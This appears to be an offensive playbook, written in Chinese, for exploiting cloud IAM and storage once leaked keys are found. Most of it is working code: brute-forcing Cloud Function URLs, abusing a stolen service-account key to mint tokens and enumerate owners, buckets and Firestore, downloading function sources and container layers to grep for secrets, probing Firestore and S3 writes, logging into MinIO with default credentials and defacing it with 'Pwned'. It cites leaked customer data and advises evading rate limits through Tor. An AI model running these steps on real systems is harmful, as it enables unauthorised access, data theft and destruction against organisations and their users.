cloud-iam-deep

云 IAM 深入——Cloud Functions、Storage、IAM 利用

适用场景

• 找到 Firebase API 密钥、Supabase 密钥或 GCP SA 密钥后
• 目标使用无服务器服务（Cloud Functions、Cloud Run）时
• 找到 S3 存储桶名称或 MinIO 实例后
• 一个 SA 密钥即可升级为完整的云访问权限

Cloud Functions URL 模式（GCP）

https://{REGION}-{PROJECT_ID}.cloudfunctions.net/{FUNCTION_NAME}
https://us-central1-{PROJECT_ID}.cloudfunctions.net/api/feed

PROJECT_ID 发现

projects = ["empresa", "empresa-app", "empresa-prod", "empresa-dev",
            "empresa-1", "empresa-12345", "app-empresa", "admin-1a2b3"]
regions = ["us-central1", "us-east1", "southamerica-east1", "europe-west1"]

for proj in projects:
    for region in regions:
        url = f"https://{region}-{proj}.cloudfunctions.net/api/feed?limit=1"
        try:
            r = requests.get(url, timeout=5)
            if r.status_code != 404 and len(r.text) > 20:
                print(f"DONE {url} -> {r.status_code}")
        except:
            pass

测试未授权的 HTTP 方法

methods = {
    "GET": requests.get,
    "POST": lambda u: requests.post(u, json={"test": "test"}),
    "PUT": lambda u: requests.put(u, json={"test": "test"}),
    "DELETE": lambda u: requests.delete(u),
}

for method_name, method_func in methods.items():
    try:
        r = method_func(url)
        if r.status_code not in [401, 403, 404, 405]:
            print(f"WARN {method_name} {url} -> {r.status_code} (ACCEPTED!)")
    except:
        pass

真实案例（严重）：某健身科技平台的 6 个 Cloud Functions：

• 未授权 GET——泄露了 15,800 多篇帖子、389 多名用户及真实学生数据
• 未授权 DELETE——确认可销毁生产数据
• 全部 6 个函数都存在反射式 CORS——可能遭受路过式攻击
• 泄露了 705 个 PDF 令牌

源代码存储桶（gcf-sources-*）

gcf-sources-{PROJECT_NUMBER}-{REGION}
gcf-v2-sources-{PROJECT_NUMBER}-{REGION}

拥有 SA 密钥读取权限时：

const {Storage} = require('@google-cloud/storage');
const storage = new Storage({credentials: sa});
const bucket = storage.bucket('gcf-sources-706681009423-us-central1');
const [files] = await bucket.getFiles();
for (const f of files.filter(f => f.name.endsWith('.zip'))) {
    await f.download({destination: '/tmp/' + f.name.replace(/\//g, '_')});
}

服务账号密钥 -> GCP 令牌生成

import json, base64, time, requests
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding as pad
from cryptography.hazmat.backends import default_backend

def get_gcp_token(sa_key):
    """Generates a GCP access token from an SA key."""
    now = int(time.time())
    header = base64.urlsafe_b64encode(
        json.dumps({"alg":"RS256","typ":"JWT"}).encode()
    ).rstrip(b'=').decode()
    claims = {
        "iss": sa_key['client_email'],
        "scope": "https://www.googleapis.com/auth/cloud-platform",
        "aud": sa_key['token_uri'],
        "iat": now,
        "exp": now + 3600
    }
    payload = base64.urlsafe_b64encode(json.dumps(claims).encode()).rstrip(b'=').decode()
    key = load_pem_private_key(
        sa_key['private_key'].encode(), password=None, backend=default_backend()
    )
    signature = base64.urlsafe_b64encode(
        key.sign(f'{header}.{payload}'.encode(), pad.PKCS1v15(), hashes.SHA256())
    ).rstrip(b'=').decode()

    resp = requests.post(sa_key['token_uri'],
        data=f'grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion={header}.{payload}.{signature}'.encode(),
        headers={'Content-Type':'application/x-www-form-urlencoded'}, timeout=10)
    return resp.json()['access_token']

# List IAM policy (find owners/admins)
r = requests.get(
    f'https://cloudresourcemanager.googleapis.com/v1/projects/{project_id}:getIamPolicy',
    headers={'Authorization': f'Bearer {token}'}
)
for binding in r.json().get('bindings', []):
    if binding['role'] in ['roles/owner', 'roles/editor']:
        print(f"ROLE {binding['role']}: {binding['members']}")

# List Storage buckets
r = requests.get(
    f'https://storage.googleapis.com/storage/v1/b?project={project_id}',
    headers={'Authorization': f'Bearer {token}'}
)
for bucket in r.json().get('items', []):
    print(f"BUCKET {bucket['name']}")

# Test Firestore access
r = requests.get(
    f'https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents',
    headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
    print("FIRESTORE ACCESSIBLE")

Firebase 开放注册

curl --max-time 30 --connect-timeout 10 -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY"   -H "Content-Type: application/json"   -d '{"email":"[email protected]","password":"Senha123!","returnSecureToken":true}'

Firestore 公共访问测试

curl --max-time 30 --connect-timeout 10 -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users?key=$API_KEY"
curl --max-time 30 --connect-timeout 10 -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores?key=$API_KEY"

# Test WRITE
curl --max-time 30 --connect-timeout 10 -X PATCH "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores/ID?updateMask.fieldPaths=fieldName"   -H "Content-Type: application/json"   -d '{"fields":{"fieldName":{"stringValue":"test"}}}'

真实案例（严重）：某配送平台——3 个 Firebase 项目：

• 4,000 家商店（CNPJ、GPS、电话、菜单）+ 已确认可通过 PATCH 写入
• 204K 条 WhatsApp 对话、173K 个客户电话号码
• Storage 中有 1K 多个公开的 MP3 音频文件

Cloud Run 服务列表

const {v2} = require('@google-cloud/run');
const client = new v2.ServicesClient({credentials: sa});
const [services] = await client.listServices({
    parent: 'projects/' + projectId + '/locations/us-central1'
});
for (const svc of services) {
    console.log(svc.name, svc.uri, svc.ingress);
}

Artifact Registry 镜像下载与分析

# List repositories
r = requests.get(
    f'https://artifactregistry.googleapis.com/v1/projects/{project}/locations/{region}/repositories',
    headers={'Authorization': f'Bearer {token}'}
)

# Download specific image manifest
digest = "sha256:XXXXX"
r = requests.get(
    f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/manifests/{digest}',
    headers={'Authorization': f'Bearer {token}',
             'Accept': 'application/vnd.docker.distribution.manifest.v2+json'}
)

# Download layers
for i, layer in enumerate(r.json().get('layers', [])):
    r2 = requests.get(
        f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/blobs/{layer["digest"]}',
        headers={'Authorization': f'Bearer {token}'}
    )
    with open(f'/tmp/layer_{i}.tar.gz', 'wb') as f:
        f.write(r2.content)

# Extract and search for secrets
# tar -xzf layer.tar.gz
# grep -rE "MIGRATION_TOKEN|APP_KEY|DB_PASSWORD" .

S3 存储桶枚举与上传测试

# Test if bucket is public
curl --max-time 30 --connect-timeout 10 -s "http://bucket-name.s3.amazonaws.com/"

# Upload (if writable)
curl --max-time 30 --connect-timeout 10 -X PUT "http://bucket-name.s3.amazonaws.com/test.txt"   -H "Content-Type: text/plain" -d "pwned"

# Test common bucket names
for b in "target" "target-prod" "target-dev" "target-images" "target-uploads"          "target-backup" "target-media" "download.target.com" "static.target.com"; do
  r=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$b.s3.amazonaws.com/" 2>/dev/null)
  [ "$r" != "404" ] && echo "$b -> HTTP $r"
done

MinIO 健康检查与管理 API

# Health check
curl --max-time 30 --connect-timeout 10 -sI "http://host:9000/minio/health/live"

# Admin API
curl --max-time 30 --connect-timeout 10 -s "http://host:9000/minio/admin/v3/info"

# Web console login (port 9001)
curl --max-time 30 --connect-timeout 10 -X POST "http://host:9001/api/v1/login"   -H "Content-Type: application/json"   -d '{"accessKey":"minioadmin","secretKey":"minioadmin"}'

# List bucket objects
curl --max-time 30 --connect-timeout 10 -s "http://host:9000/bucket-name?list-type=2"

# Upload
curl --max-time 30 --connect-timeout 10 -X PUT "http://host:9000/bucket-name/file.html"   -H "Content-Type: text/html; charset=utf-8" -d "<h1>Pwned</h1>"

Azure Blob Storage 测试

# URL pattern: https://{storage_account}.blob.core.windows.net/{container}
curl --max-time 30 --connect-timeout 10 -s "https://storageaccount.blob.core.windows.net/container?restype=container&comp=list"

注意事项

问题	解决方案
SA 密钥已撤销	监控使用情况，谨慎轮换密钥
速率限制	间隔发送请求，通过 Tor 轮换 IP
项目 ID 误报	深入测试前先用简单的 GET 请求验证
Cloud Run ingress=internal	只能从 VPC 访问；需要 VPN

验证

# Verify SA key works
python3 -c "from google.oauth2 import service_account; creds = service_account.Credentials.from_service_account_file('sa.json'); print(creds.valid)"
# Verify Cloud Function
curl --max-time 30 --connect-timeout 10 -s "https://us-central1-PROJECT.cloudfunctions.net/FUNC" | head -5